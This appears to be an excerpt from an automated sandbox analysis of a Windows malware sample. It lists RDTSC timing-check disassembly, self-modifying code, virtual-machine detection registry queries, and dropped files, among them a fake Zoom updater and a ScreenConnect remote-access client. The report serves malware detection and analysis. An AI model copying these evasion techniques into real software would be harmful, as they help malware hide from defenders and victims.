Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080871 second address: 50808F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007FB12C89D95Bh 0x0000000c or cx, F06Eh 0x00000011 jmp 00007FB12C89D969h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a ret 0x0000001b nop 0x0000001c push eax 0x0000001d call 00007FB13161E135h 0x00000022 mov edi, edi 0x00000024 jmp 00007FB12C89D95Eh 0x00000029 xchg eax, ebp 0x0000002a jmp 00007FB12C89D960h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 pushfd 0x00000034 jmp 00007FB12C89D95Ch 0x00000039 xor esi, 1C8CCE48h 0x0000003f jmp 00007FB12C89D95Bh 0x00000044 popfd 0x00000045 mov esi, 6DC921BFh 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50808F0 second address: 50808F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50808F5 second address: 508096A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB12C89D963h 0x00000011 jmp 00007FB12C89D963h 0x00000016 popfd 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FB12C89D967h 0x00000023 sbb ax, 534Eh 0x00000028 jmp 00007FB12C89D969h 0x0000002d popfd 0x0000002e mov ax, CB57h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 508096A second address: 5080970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5080970 second address: 5080989 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB12C89D95Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030007 second address: 503001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB12C899C43h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503001F second address: 5030025 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030025 second address: 5030029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030029 second address: 503003F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503003F second address: 503008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FB12C899C3Eh 0x0000000b and esi, 2A155CE8h 0x00000011 jmp 00007FB12C899C3Bh 0x00000016 popfd 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007FB12C899C42h 0x00000021 jmp 00007FB12C899C42h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503008F second address: 50300FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D95Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FB12C89D964h 0x00000010 mov dl, cl 0x00000012 pop ebx 0x00000013 call 00007FB12C89D95Ch 0x00000018 mov cx, 77A1h 0x0000001c pop esi 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 mov dx, 2F9Eh 0x00000025 pushad 0x00000026 mov di, 1F38h 0x0000002a jmp 00007FB12C89D961h 0x0000002f popad 0x00000030 popad 0x00000031 and esp, FFFFFFF8h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FB12C89D95Dh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50300FA second address: 5030100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030100 second address: 5030131 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB12C89D965h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030131 second address: 5030137 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030137 second address: 503013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503013B second address: 503015B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C899C43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov si, bx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503015B second address: 50301EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB12C89D961h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, 11F7h 0x0000000d popad 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007FB12C89D966h 0x00000016 jmp 00007FB12C89D962h 0x0000001b popad 0x0000001c mov ebx, ecx 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 mov bx, ax 0x00000024 pushfd 0x00000025 jmp 00007FB12C89D966h 0x0000002a xor ecx, 37C504A8h 0x00000030 jmp 00007FB12C89D95Bh 0x00000035 popfd 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b pushad 0x0000003c popad 0x0000003d call 00007FB12C89D960h 0x00000042 pop eax 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50301EB second address: 50302FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007FB12C899C3Fh 0x0000000e mov ebx, dword ptr [ebp+10h] 0x00000011 jmp 00007FB12C899C46h 0x00000016 xchg eax, esi 0x00000017 jmp 00007FB12C899C40h 0x0000001c push eax 0x0000001d jmp 00007FB12C899C3Bh 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 call 00007FB12C899C44h 0x00000029 call 00007FB12C899C42h 0x0000002e pop esi 0x0000002f pop edx 0x00000030 mov ecx, 260FAB17h 0x00000035 popad 0x00000036 mov esi, dword ptr [ebp+08h] 0x00000039 pushad 0x0000003a mov edi, eax 0x0000003c mov ecx, 3055D42Bh 0x00000041 popad 0x00000042 xchg eax, edi 0x00000043 pushad 0x00000044 push esi 0x00000045 jmp 00007FB12C899C43h 0x0000004a pop esi 0x0000004b mov ebx, 6675B2FCh 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 jmp 00007FB12C899C40h 0x00000058 pushfd 0x00000059 jmp 00007FB12C899C42h 0x0000005e xor ax, 1548h 0x00000063 jmp 00007FB12C899C3Bh 0x00000068 popfd 0x00000069 popad 0x0000006a xchg eax, edi 0x0000006b jmp 00007FB12C899C46h 0x00000070 test esi, esi 0x00000072 push eax 0x00000073 push edx 0x00000074 jmp 00007FB12C899C47h 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50302FB second address: 5030333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 01FAh 0x00000007 mov ebx, 058343C6h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FB19E79BC61h 0x00000015 jmp 00007FB12C89D95Dh 0x0000001a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB12C89D95Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030333 second address: 5030343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030343 second address: 503035D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FB19E79BC36h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB12C89D95Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503035D second address: 5030362 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030362 second address: 5030378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 2512h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [esi+44h] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov edx, 6C67E9F8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030378 second address: 5030382 instructions: 0x00000000 rdtsc 0x00000002 mov cl, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030382 second address: 5030386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030386 second address: 503045C instructions: 0x00000000 rdtsc 0x00000002 mov esi, 47011AC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a or edx, dword ptr [ebp+0Ch] 0x0000000d pushad 0x0000000e mov dl, ah 0x00000010 pushfd 0x00000011 jmp 00007FB12C899C43h 0x00000016 jmp 00007FB12C899C43h 0x0000001b popfd 0x0000001c popad 0x0000001d test edx, 61000000h 0x00000023 pushad 0x00000024 mov dl, ah 0x00000026 mov cx, dx 0x00000029 popad 0x0000002a jne 00007FB19E797EF2h 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FB12C899C49h 0x00000037 xor ecx, 4BA1C156h 0x0000003d jmp 00007FB12C899C41h 0x00000042 popfd 0x00000043 mov ebx, ecx 0x00000045 popad 0x00000046 test byte ptr [esi+48h], 00000001h 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FB12C899C48h 0x00000051 sbb ax, AAA8h 0x00000056 jmp 00007FB12C899C3Bh 0x0000005b popfd 0x0000005c jmp 00007FB12C899C48h 0x00000061 popad 0x00000062 jne 00007FB19E797E87h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503045C second address: 5030462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5030462 second address: 503048A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop edx 0x00000005 call 00007FB12C899C3Eh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test bl, 00000007h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB12C899C3Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502084A second address: 50208DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB12C89D961h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FB12C89D961h 0x0000000f sbb si, 59D6h 0x00000014 jmp 00007FB12C89D961h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebx 0x0000001e pushad 0x0000001f call 00007FB12C89D95Ch 0x00000024 pushfd 0x00000025 jmp 00007FB12C89D962h 0x0000002a or ch, 00000028h 0x0000002d jmp 00007FB12C89D95Bh 0x00000032 popfd 0x00000033 pop eax 0x00000034 mov edi, 64D7EB6Ch 0x00000039 popad 0x0000003a push eax 0x0000003b pushad 0x0000003c mov ecx, 59950017h 0x00000041 mov ecx, 16DF86B3h 0x00000046 popad 0x00000047 xchg eax, ebx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d mov ebx, 792EAE34h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208DB second address: 50208F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 mov al, A3h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bh, 83h 0x00000011 mov bx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208F0 second address: 50208F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208F6 second address: 50208FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50208FA second address: 5020996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c call 00007FB12C89D95Bh 0x00000011 mov di, ax 0x00000014 pop eax 0x00000015 jmp 00007FB12C89D965h 0x0000001a popad 0x0000001b mov esi, dword ptr [ebp+08h] 0x0000001e jmp 00007FB12C89D95Eh 0x00000023 sub ebx, ebx 0x00000025 jmp 00007FB12C89D961h 0x0000002a test esi, esi 0x0000002c jmp 00007FB12C89D95Eh 0x00000031 je 00007FB19E7A3385h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a jmp 00007FB12C89D95Dh 0x0000003f pushfd 0x00000040 jmp 00007FB12C89D960h 0x00000045 xor ch, 00000068h 0x00000048 jmp 00007FB12C89D95Bh 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020996 second address: 50209AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB12C899C44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209AE second address: 50209D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ebx 0x00000014 jmp 00007FB12C89D964h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209D7 second address: 50209DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209DD second address: 50209E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209E1 second address: 50209E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50209E5 second address: 5020A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a jmp 00007FB12C89D969h 0x0000000f je 00007FB19E7A32F1h 0x00000015 pushad 0x00000016 mov dh, ah 0x00000018 call 00007FB12C89D969h 0x0000001d mov eax, 3D84D9E7h 0x00000022 pop esi 0x00000023 popad 0x00000024 test byte ptr [76FB6968h], 00000002h 0x0000002b pushad 0x0000002c push edi 0x0000002d pushfd 0x0000002e jmp 00007FB12C89D964h 0x00000033 sub cl, 00000048h 0x00000036 jmp 00007FB12C89D95Bh 0x0000003b popfd 0x0000003c pop esi 0x0000003d mov ecx, edx 0x0000003f popad 0x00000040 jne 00007FB19E7A32AAh 0x00000046 jmp 00007FB12C89D95Bh 0x0000004b mov edx, dword ptr [ebp+0Ch] 0x0000004e jmp 00007FB12C89D966h 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020A93 second address: 5020A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020A97 second address: 5020A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020A9D second address: 5020AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB12C899C42h 0x00000009 adc esi, 3929F938h 0x0000000f jmp 00007FB12C899C3Bh 0x00000014 popfd 0x00000015 jmp 00007FB12C899C48h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e pushad 0x0000001f mov ecx, edi 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB12C899C43h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020AF9 second address: 5020B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebx 0x00000006 pushad 0x00000007 jmp 00007FB12C89D95Bh 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f mov edi, esi 0x00000011 popad 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 movzx eax, bx 0x00000018 mov eax, edi 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FB12C89D967h 0x00000023 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 34EDB7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4F84C9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 57F532 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 34EDB7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4F84C9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 57F532 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Special instruction interceptor: First address: C32A13 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Special instruction interceptor: First address: DE1029 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Special instruction interceptor: First address: DDF6D7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Special instruction interceptor: First address: E6D852 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Memory allocated: A30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Memory allocated: 1A620000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: 1590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: 1AF60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 2DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 2B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 64B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 5CA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 74B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 84B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 8730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Memory allocated: 9730000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Memory allocated: 1790000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Memory allocated: 19F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Memory allocated: 17F0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Memory allocated: 1090000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	Memory allocated: 1AE30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: 6B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: 1A380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: A10000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Memory allocated: 1A770000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050A07DB rdtsc

0_2_050A07DB

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1126	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Window / User API: threadDelayed 9791	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6039
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1579
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5712
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1531

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC587.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.Compression.Cab.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016276001\a8e958d3ab.exe	Jump to dropped file
